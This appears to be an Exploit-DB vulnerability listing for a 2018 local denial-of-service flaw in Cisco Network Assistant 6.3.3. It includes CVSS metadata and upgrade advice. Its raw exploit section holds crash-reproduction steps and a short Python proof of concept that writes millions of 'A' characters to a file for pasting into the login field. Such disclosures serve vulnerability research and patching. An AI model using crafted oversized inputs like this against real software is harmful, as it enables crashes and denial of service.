Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)

vendor:

Network Assistant

by:

Luis Martinez

7.8

CVSS

HIGH

Denial of Service (DoS) Local

400

CWE

Product Name: Network Assistant

Affected Version From: 6.3.3

Affected Version To: 6.3.3

Patch Exists: YES

Related CWE: N/A

CPE: a:cisco:network_assistant:6.3.3

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2018

Cisco Network Assistant 6.3.3 – ‘Cisco Login’ Denial of Service (PoC)

A denial of service vulnerability exists in Cisco Network Assistant 6.3.3 when a maliciously crafted input is sent to the 'Cisco Login' field, resulting in a crash of the application.

Mitigation:

Upgrade to the latest version of Cisco Network Assistant.

Source

Exploit-DB raw data:

# Exploit Title: Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2018-08-27
# Vendor Homepage: https://www.cisco.com/
# Software Link : https://software.cisco.com/download/home/286277276/type/280775097/release/6.3.3
# Tested Version: 6.3.3
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python Cisco_Network_Assistant_6.3.3.py
# 2.- Open Cisco_Network_Assistant_6.3.3.txt and copy content to clipboard
# 3.- Open Cisco Network Assistant
# 4.- Authenticate to Cisco CCO
# 5.- Paste ClipBoard on "Cisco Login"
# 6.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 6900000
f = open ("Cisco_Network_Assistant_6.3.3.txt", "w")
f.write(buffer)
f.close()